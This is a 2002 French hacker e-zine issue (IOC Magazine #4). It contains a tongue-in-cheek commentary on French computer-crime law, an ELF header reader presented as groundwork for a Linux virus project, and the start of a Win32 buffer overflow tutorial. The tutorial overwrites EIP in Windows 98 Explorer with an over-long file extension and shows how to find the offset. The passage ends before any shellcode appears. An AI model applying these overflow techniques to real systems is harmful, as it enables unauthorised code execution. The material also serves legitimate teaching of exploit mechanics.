                           The Input Output Corporation
                           http://www.rootshell.be/~ioc


                       .oO()  P  R  E  S  E  N  T  S  ()Oo.

                                        _
                              ________ | |__     __
                             |__    __||  _ \  /   \
                                |  |   | | | ||  - /
                                |__|   |_| |_| \____|
 __  __ __     ___    __   __  ________      ___    __   __  ________   ___   __   __  ________
|  ||  '_  \ /  _  \ |  | |  ||__    __|   /     \ |  | |  ||_     _ |/  -  \|  | |  ||_      _|
|  ||  | |  ||   __/ |   -   |   |  |     |  [ ]  ||   -   |   |  |   |   __/|   -   |   |  |  
|__||__| |__||__|     \______|   |__|      \_____/  \______|   |__|   |__|    \______|   |__| 
                __ ____ __     __ _   ___    __ _  _____  __  __ __      __
               |  '_   '_  \  /  ' | /   \  /  ' ||__  / |  ||  '_  \  /   \
               |  | |  | |  || [ ] ||  -  || [ ] |  / /_ |  ||  | |  ||  - /
               |__| |__| |__| \____| \__  | \____| /____||__||__| |__| \____|
                                     |___/

                      ------------------------------------------- 
                      _                                         _
                      _        Issue#4   14 Juillet 2002        _
                      
                      -------------------------------------------   

                                         








        \\\|///                                                       
      \\  - -  //
       (  @ @ )	 	        	  
-=-=oOOo=-(+)-oOOo-=-=-=-oO0()  D I S C L A M E R  ()0Oo-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

La lecture de cette publication lectronique implique la lecture de ce disclaimer.
Le prsent numro a pour unique vocation de prsenter aux lecteurs divers aspects de ce 
vaste  domaine  qu'est la scurit informatique, afin de leur donner les moyens de faire 
fae  d'ventuelles attaques. Nous n'incitons aucunement nos lecteurs  se livrer  des 
actes de piratages ni  quelqu'autre activit illicite. Les auteurs de cette publication 
dclinent toute responsablit quant  l'usage qui peut tre fait des informations allant
tre diffuses ci-aprs.  Le contenu du  magazine et de son site est sous  copyright IOC 
(2001 - 2002)  moins que le contraire ne soit indiqu. Permission est accorde de citer 
ou reproduire tout ou partie d'un article, si celui-ci conserve les crdits d'origine. 

-=-=-=-=-=-=-=-Ooooo-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)








                                                                        .:*$$$$$*:.  
                                                                        *--   --* ,
                                                                      ( (. )~(. )/ )	
=-=-=-=-=-=-=-=-=-=-=-=-=-=-oO0()  E  D  I  T  O  ()0o=-=-=-=-=-oOOo-=-=-=(o)-=-=-oOOo-=-

Bienvenue dans cette edition estivale du magazine IOC.  Il y a un an jour pour jour, 
nous vous faisions par d'un heureux venement, la naissance du groupe ; aujourd'hui, 
le beau bb vient de souffler sa premiere bougie ! Nous tenions   remerciers tous 
nos collaborateurs  et  partenaires  d'avoir rendu  cela possible ; plus que jamais 
c'est vous qui fates vivre ce magazine et cette nouvelle issue est l pour nous le 
rapeller encore une fois. C'est ainsi que  nous avons eu le plaisir de conevoir ce 
numro avec l'adie  de  Li0n7 et Jackniels. Les partenariats s'enchannent 
dans tous les sens. Dabord avec le groupe Hianda :  titre exceptionnel, Abl s'est  
en effet joint  nous pour ce numero. Autre partenariat en cours cette fois-ci avec 
nos amis de Newffr.org qui viennent de mettre notre  magazine en  ligne depuis chez 
eux, juste a cote de Phrack =) ! http://www.neffr.org/~area : merci du coup de main 
les gars. Nous profitons de l'edito pour saluer l'equipe de  Frag, nouveau magazine 
francais, dont  le premier  numero est   paraitre sous peu :  http://jahnastah.org, 
gardez cette adresse  l'oeil. Notez galement que Phrack #59 ne vas pas tarder lui  
non plus ; comme nous le faisait remarquer ohzon l'autre soir sur #hianda, a va en
faire de la lecture pour les vacances =) ! Si vous souhaitez nous proposer un sujet 
d'article ou nous faire part de critiques/conseils en vue de nous aider  amliorer
le magazine, ne vous gnez surtout pas. Bonne lecture ! 











         ___    ___    __ ____ __    __ ____ __     __ _  __  ____    __
        / __/ /     \ |  '_   '_  \ |  '_   '_  \  /  ' ||  ||  __| /   \
        \__ \|  [ ]  ||  | |  | |  ||  | |  | |  || [ ] ||  || |   |  - /
        |___/ \_____/ |__| |__| |__||__| |__| |__| \____||__||_|    \____|


           ------------------------------------------------------------
          |  Auteur    | n  |              T i t r e                  |
           ------------------------------------------------------------    
          |  Neofox    |I.   |             Law is Law                  |
           ------------------------------------------------------------
          |   Abl     |II.  |     Linux Virii Project (Part. 1)       |
           ------------------------------------------------------------
          |  Emper0r   |III. |      Introduction aux BoF Win32         |
           ------------------------------------------------------------
          |  Neofox    |IV.  |         Wtmp is your frieind            |
           ------------------------------------------------------------
          |   MeiK     |V.   |      Language C : Les Pointeurs         |
           ------------------------------------------------------------ 
          |   Li0n7    |VI.  |      Programmation d'un Smurfer         |
           ------------------------------------------------------------
          | Jackniels  |VII. |         Network Perl Coding             |  
           ------------------------------------------------------------ 
          |   MeiK     |VIII.|     Challenge Hackerslab (Part.1)       |
           ------------------------------------------------------------    
          |   Li0n7    |IX.  |      Programmation d'un Sniffer         |
           ------------------------------------------------------------
          |   MeiK     |X.   |        Les Algorithmes en Info          |
           ------------------------------------------------------------ 
          |  Emper0r   |XI.  |  Shell script & Perl script infection   |
           ------------------------------------------------------------
          |   Neofox   |XII. |        Trojanisez vos Binaires          |
           ------------------------------------------------------------
          |   Li0n7    |XIII.|      BoF & shellcodes x86 Howto         |
           ------------------------------------------------------------ 
           
                        
                              -=-=-=-=-=-=-=-=-=-=-=-
                                Contenu de l'archive
                              -=-=-=-=-=-=-=-=-=-=-=-
 
                                  ioc4.txt
                                  virus.zip
                                  passwd.tar.gz

 






-----------------------------------------------------------------------------------------
I.                                 Law is Law                                    Neofox 
-----------------------------------------------------------------------------------------


    << La Loi, c'est moi ! >>
                      - Judge Dred


[ Introduction ]

Prfrant d'ordinaire les textes techniques aux palabres inutiles, je vous propose 
quand mme un peu de blabla ; a n'a jamais tu personne me direz vous, c'est vrai,  
ce n'est pas non plus avec a que l'on remplit un mag. 
J'ai pourtant pens que ce petit article serait l'occasion de faire le point avec 
humour, sur nos droits, ou  plus  exactement  nos non-droits. Comme,mme dans un 
moment de dtente, j'aime que les choses soient bien faites, c'est avec  la main 
le Code Pnal Dalloz 2002, que j'achve cette introduction. Bien que j'aborde ce 
thme sur un ton lger et dtendu, ce n'est pas une raison pour minimiser les risques
que vous encourez en cas de fraude ; ces derniers sont bien rels, soyez en assurs.








               ++++ | Partie 1 : Gnralits | ++++



Je vous livre ici un point de vue personnel sur la question, cela n'engage QUE moi,
les autres membres du groupe et auteurs ayant pris part  ce magazine ne peuvent en 
rien tre tenus pour responsables de mes propos et vous tes libres de partager ou
non mon point de vue. Rendons nous d'emblai aux passages qui nous intressent :

<<
Art. 323-1  Le fait d'accder ou de se maintenir, frauduleusement, dans tout ou partie
d'un systme de traitement automatis de donnes est puni d'un an d'emprisonnement et
de 100 000F d'amende. Lorsqu'il en est rsult soit la suppression ou la modification
de donnes contenues dans le systme [ ... ], la peine est de deux ans d'emprisonnement
et de 200 000F d'amandes. >>


Art. 323-2 :

<< Le fait d'entraver ou de fausser le fonctionnement d'un systme de traitement
automatis de donnes est puni de 3 ans d'emprisonnement et de 300 000F d'amende. >>


NB:  Ca fait cher le datagrame ICMP ...



Art. 323-3 :
<< Le fait d'introduire frauduleusement des donnes dans un systme de traitement
automatis de donnes ou de supprimer ou de modifier les donnes qu'ils contient est puni
de 3 ans d'emprisonnement et de 300 000F d'amende. >>




Remarque : 
Y a un truc illogique ici : dans le 323-1 on nous dir que lorsqu'il en rsulte la modification
de donnes, la peine est de 2ans et de 200batons ; alors que dans le 323-3, nous venons de
voir, que "le fait [...] de modifier les donnes qu'ils contient" vous donne droit non plus
a 2ans et 2batons, mais 3ans et 3batons !? Faut se mettre d'accord l ...

Vous constaterez  aussi l'implacable logique de la justice franaise qui matrise  la perfection
l'art subtil de la multiplication. En fait, c'est comme au tierc ; vous cochez votre pari,
disons, "1an et 1baton", puis vous choisissez votre mise : x1, x2 ou x3 !

Encore un peu ...



Art. 323-4: 
<< La participation  un groupement form ou  une entente tablie en vue de la 
participation [...] d'une ou de plusieurs infractions prvues par les articles 323-1 
323-3 est punie des peines prvues pour l'infraction elle mme. >>

NB: Tarif de groupe



Art. 323-7: 
<< La tentative des dlits prvus par les articles 323-1  323-3 est punie des
mmes peines. >>


NB: tous les coups on gagne ! Rflexion faite, c'est mieux qu'au tierc.

Je tiens  prciser qu'il est pour ma part navrant de constater que de nos jours, la 
justice se veut plus implacable envers le piratage informatique qu'envers les coups et 
blessures volontaires  l'arme blanche et violences en runion ; on se comprend ...





 
             ++++ | Partie 2 : La Dure Ralit, rsum | ++++




Si toute fois un dtail vous avait chapp, vous trouverez c-aprs une synthse 
plus parlante :



[toto@whitehat ~/toto]$ rlogin -l root  dalloz.justice.fr             Art. 323-1     -100000F    
dalloz# ./smurf  perdu.com                                            Art. 323-2     -300000F 
dalloz# ./vanish   root  whitehat  111.222.123.111                    Art. 323-3     -300000F 
xchat> /join #ioc                                                     Art. 323-4     -100000F 
                                                                      ________________________

                                                                      Total          -800000F TTC

                                                                      



          opratrice   _ << Votre compte est dbiteur de 800000F >>
           n[EOF]ox    _ << Et en euros, a fait combien ? >>         
                                   





 






---------------------------------------------------------------------------------------
II.                 Linux  Virii  Project  (Part. I)                             Abl
---------------------------------------------------------------------------------------
  


[ Introduction ]

Voil c'est ma toute  premire prestation pour IOC  et je suis fier de participer 
 l'aventure! Pour les personnes, qui ne connaissaient pas Hianda avant la fusion 
des mags avec IOC, nous avions comme projet de crer un virus pour Linux bas sur
les travaux de Silvio Cesare. Je pense  qu'au fil des issues, une srie d'article 
sur le projet devrait voir le jour. 

Suite  quelques ennuies avec la justice, je rappelle aux  simples d'esprits et  
ceux qui ne voient pas plus loin que le bout de leur nez qu'il s'agit d'un projet 
 objectif scuritaire  qui  pourrait dboucher sur  un anti-virus. La fusion des 
deux zines  tant  amicale et en rien  une vilaine O.P.A, je vous  tiens  donc au 
courant de l'avanc du projet. 

Et je suis heureux de vous dire que le projet avance... 
Si vous voulez en savoir plus rendez-vous sur le site du groupe (www.hianda.fr.st) 
rubrique "project", l bas vous trouverez une dizaine de textes traitant du sujet. 





  0x01. Rappel :
  ______________


Pour la bonne comprhension de cet article, il est ncessaire que vous ayez un 
minimum de connaissances sur le format ELF. Je vous conseil  donc d'allez lire 
l'article "Executable And Linkable Format(ELF)" prsent sur mon site. Comme je 
sais que la moiti des lecteurs ne liront pas l'article cit ci-dessus, et que 
je suis d'une extrme bonte, je vais tout de mme vous  faire un petit rappel 
sur le format ELF. 

ELF signifie Executable and Linking Format, ce qui correspond entre autre au 
format des binaires sous Linux. Il existe plusieurs types de fichiers objets 
utilisant le format Elf (=e_type), voici un extrait du fichier <elf.h>: 

/* Legal values for e_type (object file type). */ 

#define ET_REL         1             /* Relocatable file */ 
#define ET_EXEC        2             /* Executable file */ 
#define ET_DYN         3             /* Shared object file */ 
  



[ Comment s'organise un ELF ]

Un binaire au format ELF est organis en plusieurs parties, voici une 
reprsentation simplifie de l'organisation physique d'un fichier objet 
au format ELF : 


ELF Header 
 Program header table 
 Segment 1  # Segment de texte 
 Segment 2  # Segment de donne 
 Section header table 
 Section 1 
 . 
 . 
 Section n 

Lorsque l'on lance un binaire, le systme va lire la program header table afin 
de pouvoir grace aux informations contenues  dans cette dernire crer l'image 
du binaire en mmoire. Voici comment s'organise l'image du binaire en mmoire : 


#1  [TTTTTTTTTTTTTTTT] 
#2  [TTTTTTTTTTTTTTTT] 
#3  [TTTTTTTTTTTTPPPP] 
#4  [PPPPDDDDDDDDDDDD] 
#5  [DDDDDDDDDDDDDDDD] 
#6  [DDDDDDDDDDDDPPPP] 

T = Texte 
P = Padding (remplissage) 
D = Donnes 


Le padding sert  complter les segments pour que chaque page reprsente 
par #1,2,3,4,5,6  fasse 4 Ko. 



Si nous rsumons : 

Linking View           Execution View 
============           ============== 
ELF header             ELF header 
Program header         table (optional)  Program header table 
Section 1              Segment 1 
...                    Segment 2 
Section n              ... 
Section header table   Section header table (optional) 


Comme vous pouvez le voir, les fichiers objets au format ELF sont composs 
de plusieurs parties. Aujourd'hui nous allons nous intresser  l'une de 
ces parties : le Header ELF. 

  

  0x02. Le Header Elf :
  _____________________
  

Commenons par jeter un petit coup d'oeil au fichier <elf.h> : 

/* The ELF file header.  This appears at the start of every ELF file.  */ 

typedef struct 
{ 
  unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ 
  Elf32_Half e_type;  /* Object file type */ 
  Elf32_Half e_machine;  /* Architecture */ 
  Elf32_Word e_version;  /* Object file version */ 
  Elf32_Addr e_entry;  /* Entry point virtual address */ 
  Elf32_Off       e_phoff;  /* Program header table file offset */ 
  Elf32_Off       e_shoff;  /* Section header table file offset */ 
  Elf32_Word e_flags;  /* Processor-specific flags */ 
  Elf32_Half e_ehsize;  /* ELF header size in bytes */ 
  Elf32_Half e_phentsize; /* Program header table entry size */ 
  Elf32_Half e_phnum;     /* Program header table entry count */ 
  Elf32_Half e_shentsize; /* Section header table entry size */ 
  Elf32_Half e_shnum;  /* Section header table entry count */ 
  Elf32_Half e_shstrndx;  /* Section header string table index */ 
} Elf32_Ehdr; 
  


Les commentaires tant assez rduit, je vais approfondir un peu : 

      o e_entry :     Cette partie indique au systme  l'aide d'une adresse 
                      virtuelle le point d'entrer  partir duquel le programme
                      dbute, transfert les donns, puis lance le processus en 
                      mmoire. Si le fichier n'a pas de point d'entr, sa valeur 
                      est de zro. 

      o e_phoff :     Contient l'offset en bytes  partir de la table "Program Header". 
   
      o e_shoff :     Contient l'offset en bytes  partir de la table "Section Header". 

      o e_ehsize :    Represente la taille en bytes du Header Elf.

      o e_phentsize : Represente la taille en bytes de la table "Program Header".
 
      o e_shentsize : Represente la taille en bytes de la table "Section Header".

      o e_phnum :     Contient le  nombre d'entres dans la table "Program Header".

      o e_shnum :     Contient le nombre d'entres dans la table "Section Header". 




[ graphique rcapitulatif ]
 

================================================================ 
File header 
================================================================ 

file 
offset 
     ----------------------------------------------- 
 0  |                 ELF file magic                | 
     ----------------------------------------------- 
 4  |  bitness  |   endian  |  ELF ver  | reserved  | 
     ----------------------------------------------- 
 8  |                    reserved                   | 
     ----------------------------------------------- 
0Ch |                    reserved                   | 
     ----------------------------------------------- 
10h |       file type       |       machine         | 
     ----------------------------------------------- 
14h |                    ELF ver                    | 
     ----------------------------------------------- 
18h |                  entry  point                 | 
     ----------------------------------------------- 
1Ch |   file offset of Program Header (PH) table    | 
     ----------------------------------------------- 
20h |   file offset of Section Header (SH) table    | 
     ----------------------------------------------- 
24h |                     flags                     | 
     ----------------------------------------------- 
28h |  size of this header  |  PH table entry size  | 
     ----------------------------------------------- 
2Ch |  entries in PH table  |  SH table entry size  | 
     ----------------------------------------------- 
30h |  entries in SH table  |.shstrtab section index| 
     ----------------------------------------------- 
34h 
  



  0x03. Lecteur d'Header ELF :
  ____________________________
 
Avant de se lancer dans l'criture d'un virus ou mme dans une infection 
(sur SA machine), il est trs important de comprendre concrtement comment 
s'organise un binaire Elf physiquement et en mmoire. 

Pour tudier un binaire ELF, vous devez faire un ou plusieurs programmes 
capables de lire "l'architecture" du fichier ELF, c'est  dire ses spcificites. 
Ces types de programmes ne sont pas vraiment difficiles  coder et ont l'avantage 
d'tre trs instructifs, le tout est de bien lire et comprendre le fichier <elf.h>. 

Je viens de dcouvrir une librairie du nom de "libelf" qui devrait thoriquement 
vous faciliter la tache enfin en thorie seulement car je l'ai test (rapidement) 
et  celle-ci ne me donne pas entire satisfaction ; si quelqu'un russi  maitriser
la "chose", je suis preneur ... 


Voici pour le moment un diteur d'Header Elf cod par mes soins : 


/* 
 * Title: ELFORCE 
 * Author: Abl for IOC MAG 
 * Date: 01/04/02 <(((-< 
 * About: Lecteur d'Header Elf for Linux Virii Project 
 * Gr33tz to: #hianda, Christian Milow, Jamu and IOC 
 * Site: www.hianda.fr.st 
 * Zine: www.ioc.unixlover.com 
 */ 

#include <stdio.h> 
#include <fcntl.h> 
#include <elf.h> 

void header(Elf32_Ehdr * a) 

{ 
printf("\n"); 
printf("e_type      : "); 
switch ((*a).e_type) { /* a->e_type et (*a).e_type st quivalents */ 
    case 0: 
        printf("None\n"); 
        break; 
    case 1: 
        printf("Relocatable object (.o file)\n"); 
        break; 
    case 2: 
        printf("Executable\n"); 
        break; 
    case 3: 
        printf("Shared library\n"); 
        break; 
    case 4: 
        printf("Core file\n"); 
        break; 
    default: 
        printf("Unknown type\n"); 
} 
  

  printf("e_machine   : "); 
  switch ((*a).e_machine) { 
    case 0: 
        printf("None\n"); 
        break; 
    case 2: 
        printf("SPARC\n"); 
        break; 
    case 3: 
        printf("Intel 80386\n"); 
        break; 
    case 4: 
        printf("68000\n"); 
        break; 
    case 8: 
        printf("MIPS RS3000\n"); 
        break; 
    default: 
        printf("Unknown type\n"); 
} 
  printf("e_version   : "); 
  switch (a->e_version) { 
  case 0: 
  printf("Invalid\n"); 
  break; 
  case 1: 
  printf("ELF version 1\n"); 
  break; 
  default: 
  printf("Unknown type\n"); 
} 
  printf("e_entry     : %p\n", (*a).e_entry); 
  printf("e_ehsize    : %d\n", (*a).e_ehsize); 
  printf("\n"); 
  printf("Info about Program Header\n"); 
  printf("e_phoff     : %d\n", (*a).e_phoff); 
  printf("e_phentsize : %d\n", (*a).e_phentsize); 
  printf("e_phnum     : %d\n", (*a).e_phnum); 
  printf("\n"); 
  printf("Info about Section Header\n"); 
  printf("e_shoff     : %d\n", (*a).e_shoff); 
  printf("e_shentsize : %d\n", (*a).e_shentsize); 
  printf("e_shnum     : %d\n", (*a).e_shnum); 
  printf("\n"); 
} 

int main(int argc, char *argv[]) 
{ 

  int fd; 
  Elf32_Ehdr *ehdr; 

  printf("\n"); 
  printf("\t\t\t\t  ELF HEADER \n"); 
  printf("\n"); 

  if (argc<2) 
  { 
  printf("Usage: ./elforce <Elf File>\n\n"); 
  exit(1); 
  } 
  else 
  printf("%s\n\n", argv[1]); 

  if ((fd = open(argv[1], O_RDONLY)) ==-1){ 
  fprintf(stderr, "Error cannot open [ %s ]\n\n",argv[1]); 
  exit(1); 
  } 

  ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr)); 
  read(fd, ehdr, sizeof(Elf32_Ehdr)); 
  if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) 
  { 
  fprintf(stderr, "Hey!? Are you drunk?? [ %s ] is not an Elf file! ;)\n\n", argv[1]); 
  exit(1); 
  } 
  header(ehdr); 

  free(ehdr); 
  close(fd); 
  return (0); 

} 

Alors ?? quand je vous disais que ce n'tait pas difficile !! 



[ Conclusion ]

Voil, l'article est termin ; je tiens  prciser que je me suis fortement 
inspir des sources du virus "brundle-fly" (http://www.roqe.org/brundle-fly/) 
et de celles du virus "vit" de Silvio Cesare pour crire "elforce" ( j'ai donc 
trs peu de mrite ). Je vous conseil d'aller jeter un coup d'oeil sur les 
sources de ces virus. 













---------------------------------------------------------------------------------------
III.           Introduction aux Buffer Overflows Win32                        Emper0r
---------------------------------------------------------------------------------------


[ Introduction ]

Cet article est une petite introduction aux Buffer OverFlow (BoF) sous windows.
Mme s'il s'adresse aux dbutants et que je vais essayer de rappeler quelques 
bases, il est prfrable d'avoir quelques notions de programmation assembleur 
pour tre plus  l'aise.


Le buffer overflow, ou dbordement de tampon, est l'exploitation "d'une mauvaise" 
programmation de certains programmes et cela marche aussi bien sur les systemes 
Unix/linux que Windows. Dans certains cas on peut passer une variable plus grande
que l'espace que l'on lui a prvu. Si le programmeur ne fait pas de test sur la 
longueur de cette variable c'est le plantage ; sous windows on se retrouve avec 
un message :

- "Ce programme va tre arrt car il a effectu une opration non conforme"
-  Ou alors avec un 'blue screen of death' dans certain cas.

Pourquoi a plante ? Car le reste des donnes de la variable qui ne sont pas 
rentres dans le buffer sont alles craser des registres du processeur ou alors 
ont cras des donnes importantes dans la mmoire. Nous, ce qui nous arrange, 
c'est d'craser EIP. EIP = Intruction Pointer ; ce registre 32 bits indique la 
prochaine instruction  excuter. Ce registre ne peut tre modifi directement 
avec une instruction ; seules des instructions de type saut ou 'call', le modifient 
indirectement).

Si l'on met ce que l'on veut dans EIP avec un BoF, on peut faire pointer le micro 
o l'on veut en memoire. C'est trs intressant, car si notre 'variable' envoye 
au programme contient du code excutable et que l'on fait pointer le micro sur 
cette 'variable', notre code est excut sans que l'utilisateur s'en aperoive.






[ Quelques notions d'assembleur ]

Quelques notions juste trs vite fait et seulement ce qui peut nous servir pour 
suivre cet article ; ceux qui ont dj vu de l'asm peuvent sauter ce passage. 

Les p (microprocesseurs) contiennent des registres qui sont des emplacements 
de mmoire ayant un rle spcifique:


Registres de travail ou registres dit gnraux:
-----------------------------------------------

EAX, EBX, ECX, EDX : 
Ce sont des registres  usages multiples ; pour faire simple on va dire 
qu'ils sont utiliss pour stocker des rsultats intermdiaires.

Ils peuvent contenir un nombre de 32 bits maximum et sont composs de la 
faon suivante:

-------------------------
|		EAX	    |	32 Bits
-------------------------
	     ------------
            |	AX	    |	16 Bits
	     ------------
                  -------		
		 |AH |AL    |	8 Bits
		  -------

Ex: Si EAX = FB1012E0 alors AX=12E0, AH=12, AL=E0



Le registre d'offset EIP 
------------------------

Intruction Pointer, ce registre 32 bits indique la prochaine instruction  
excuter. Ce registre ne peut tre modifi directement avec une instruction, 
seules des instructions de type saut ou call, le modifient indirectement.


Ex:

EIP = BF521235     Chaque instruction excute incrmente EIP ;  cette adresse 
se trouve l'instruction 'call 00401024'.  EIP va passer  la valeur 00401024 et 
le p va excuter les instructions en suivant ; cette adresse jusqua ce qu'il 
rencontre l'instruction 'ret' ; dans ce cas le p reviendra juste  l'instruction 
situe aprs le 'call 00401024' en BF521235. L'adresse de retour est pousse sur 
la pile lors de l'excution du call. Les instructions call servent  appeler des 
sous-programmes.

Les instructions de saut modifient aussi EIP par exemple 'jmp 00401024' amne 
le p a excuter les instructions  cette adresse ;  la diffrence du "call", 
le "jmp" ne sauve pas d'adresse de retour.




La pile
-------

La pile (stack) est un emplacemant ou des donnes de petites tailles peuvent tre 
places. Le systme employ pour stocker les donnes obit au principe lifo (last 
in first out).

Ex1:
push eax
Met sur la pile la valeur de eax

pop eax 
Met dans EAX la dernire valeur mise sur la pile


Ex2:
(eax=00000000, ebx=FFFFFFFF)
push eax
push ebx
pop eax
pop ebx
Aprs ces 4 instructions on a eax=FFFFFFFF et ebx=00000000




Les API windows
---------------

Il y a quelques bonnes explications sur la prog asm et les api dans IOC 
magazine issue3 (voir: "Programmation Win32asm" par Disk-Lexic). 

On pousse sur la pile les paramtres ncessaires  l'api et on appelle 
l'api avec un call.

Ex:
push 0			;Handle de la messagebox
push offset titre	;Adresse du titre de la fentre
push offset message	;contenu de la fentre
push 0			;Type de message box
cal MessageBoxA		;affiche la message box




Voil la petite intro  l'asm est finie :-) c'tait vraiment juste un rappel 
en vrac de certaines choses. On passe  l'action.







[ BoF: Exemple1 ]

Allez c'est parti pour un petit exemple que tout le monde peut raliser 
simplement chez soi :) C'est juste un exemple car ce BoF n'est pas 'vraiment' 
exploitable je pense ; le texte qui suit me permet d'expliquer de faon assez 
simple le fonctionnement des BoF.

D'abord si vous n'avez pas SI (SoftIce) c'est le moment de l'installer, vous 
pouvez le tlcharger ici: http://linux20368.dn.net/protools/ 
Il fait dans les 5 ou 6 Mo je crois, les versions win9x et winNt/2000 y sont.

Attention celui-ci ne marche pas sous windows XP, pour XP il faut utiliser 
'driver studio' de numega aussi, mais l c'est dans les 30 ou 40 Mo et puis 
c'est plus dur  trouver. Pour windows ME il faut un petit loader pour le faire 
fonctionner (enfin  mon avis si vous tournez sous WinMe ou winXP, eh bien 
installez un bon vieux win98se ou mieux un win2000 sp2 !)

Je ne vais pas m'attarder ici sur une configuration complexe de SI ; une fois 
install rdmarrez le PC (chose habituelle et tres ch***te sous windows), un 
chtit Ctrl+d et voil SI s'ouvre, l tapez ces 3 commandes:

- code on	<--- pour avoir la correspondance entre mnmoniques et code hexa
- lines 50	<--- on voit mal sinon
- faults on	<--- break  la dtection d'erreurs windaube, en gnral cette 
                     commande est active par dfaut


Pour cet exemple on va prendre un truc tout bte, un problme que contient 
explorer.exe pour grer les extensions longues de plus de 129 caractres.
Ce BoF est normalement prsent sur tous les win9x. 
(source: http://www.securiteam.com/exploits/5AQ0F000HA.html).

Mon test est ralise sur un windows 98se tout ce qu'il y a de plus basique, aucun 
patch d'install, ni UltimePack.

On cre un fichier bidon avec une extension trs longue, on ne pas peut le faire 
sous windows directement mais un petit fichier .bat va nous faire a trs bien.
On cre un nouveau fichier .txt o on met dedans: 

dir *.* > test.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaa

On enregistre, on renomme le fichier *.txt en *.bat et on lance tout a. 
Ce script va crer un fichier contenant la sortie de la commande dir dans 
le rpertoire courant, ce fichier va avoir pour nom test avec une extension 
trs longue.

On slectionne le fichier par un simple click et softice break, kool !!!  
On regarde les registres et on voit eip = 61616161 :-)




Un petit Schma pour expliquer a:
__________________________________


-Situation courante:
[ B U F F E R   D E  L' E X T E N T I O N   D U   F I C H I E R ][ E I P ]
[txt						                                   ][xxxxxxxx]


-Situation qui crase eip:
[ B U F F E R   D E  L' E X T E N T I O N   D U   F I C H I E R ][ E I P ]
[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...]


Dans le dernier exemple la valeur xxxxxxxx de eip est crase et est remplace par des 
'a' qui ont pour code ascii 61. Voil pourquoi EIP = 61616161.




Ok c'est bon on va quitter softice avec un petit Ctrl+D, on y reviendra plus 
tard. On se retouve avec un message windows qui confirme bien notre situation.

Ce programme va tre arrt car il a effectu une opration non conforme, bla bla bla ... 

EXPLORER a caus une dfaillance de page dans	<--- explorer.exe a plant 
 le module <inconnu>  00de:61616161.		<--- a l'adresse 00de:61616161 c'est 
                                                     sur qu'il ne doit pas y avoir la 
                                                     suite du code prvu  cette adresse, 
                                                     donc plantage.

Registres :
EAX=61616161 CS=0177 EIP=61616161 EFLGS=00000246    <--- EIP=61616161 ( j'adore :-) ) 
EBX=80070032 SS=017f ESP=00e4e59c EBP=61616161	    <--- la suite on s'en fout un peu
ECX=dedbc9a0 DS=017f ESI=02adeff4 FS=2177
EDX=81a06950 ES=017f EDI=5000d030 GS=0000
Octets  CS : EIP :

tat de la pile :
00006161 00000000 792a1dd8 00000000 00e4e658 70c343df 00e4e67c 00000005 
00e4e67c 00e4e658 00e4e658 00000000 00e4ea70 00e4ea18 bff7c4bb 00e4ea70 


Bon maitenant on passe  une tape un peu longue et pas toujours trs marrante 
dans l'tude d'un BoF, il faut trouver l'offset (le dcalage, l'adresse, l'endroit) 
o on peut gribouiller EIP :-)

Voila comment j'ai procd, je modifie mon fichier .bat de cette facon:

dir *.* > test.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa123456789abcdefghijklm123456789nopqrst

Je slectionne le fichier cre, SI break, je note la valeur de EIP. 
EIP = 316D6C6B = code ascii de 1mlk (faut inverser l'ordre des octets).

Ici EIP = 316D6C6B.
Je reprends la fin du nom de l'extension de mon fichier, une table ascii et je regarde:

....1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  g  h  i  j  k  l  m  1  2  3  4  5  6  7  8  9 etc.....
							                   |  |  |  |
code ascii:						                   6B 6C 6D 31


Voil je viens de trouver l'offset (l'endroit) o est 'cras' EIP. Offset 140 en 
dcimal si j'ai bien compt ;-).

Je peut mettre EIP  la valeur que je veux:

dir *.* > test.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaXXXXaaaaaaaaaaaaaaa

Il suffit de remplacer le code ascii des XXXX par l'adresse que je veux. 
Mais justement, comment trouver l'adresse qui m'intresse, celle de mon buffer ? 
Voici la technique que j'ai utilis : je reclique sur le fichier qui provoque le BoF, 
SI break et maintenant je cherche dans les alentours des registres qui n'ont pas t 
crass.

Je commence par chercher dans ESP (registre de pointeur pile).
Sous SoftIce on tape:

d esp - 500 l 500

Cette commande affiche les 500 derniers octets qui se trouvent  esp - 500.
Vous pouvez aussi utiliser des softs tels que memory hacker ou memdump qui permettent 
de faire des recherhes de chaine de caractres en mmoire. 


On voit trs nettement en 012AE10C plein de 'a' c'est le buffer de notre extension de 
fichier. Chez vous le 012AE10C est trs certainement diffrent.
 
- 1er point dj trs embtant : pour exploiter ce BoF les adresses ne sont jamais 
  les   mmes et encore plus embtant aucun des registres ne pointe  aucun endroit 
  de notre buffer :-(      On modifie le fichier .bat avec un diteur hexa pour qu'il 
  nous cre un fichier qui crasera EIP avec notre valeur 0CE12A01 (encore une fois 
  ne pas oublier la fameuse inversion des octets).


- 2eme point trs embtant : ce fichier ne peut tre cre car certains codes ascii ne 
  peuvent pas tre utiliss dans un nom ou extension de fichier :-(

- 3eme point embtant : notre buffer pour placer du code est vraiment restreint, si on 
  essaie de crer un  fichier avec une extension, si je me rappelle bien, de plus de 
  500 caractres environ, on obtient un message d'erreur et le fichier n'est pas cre.


Conclusion de ce premier exemple: 
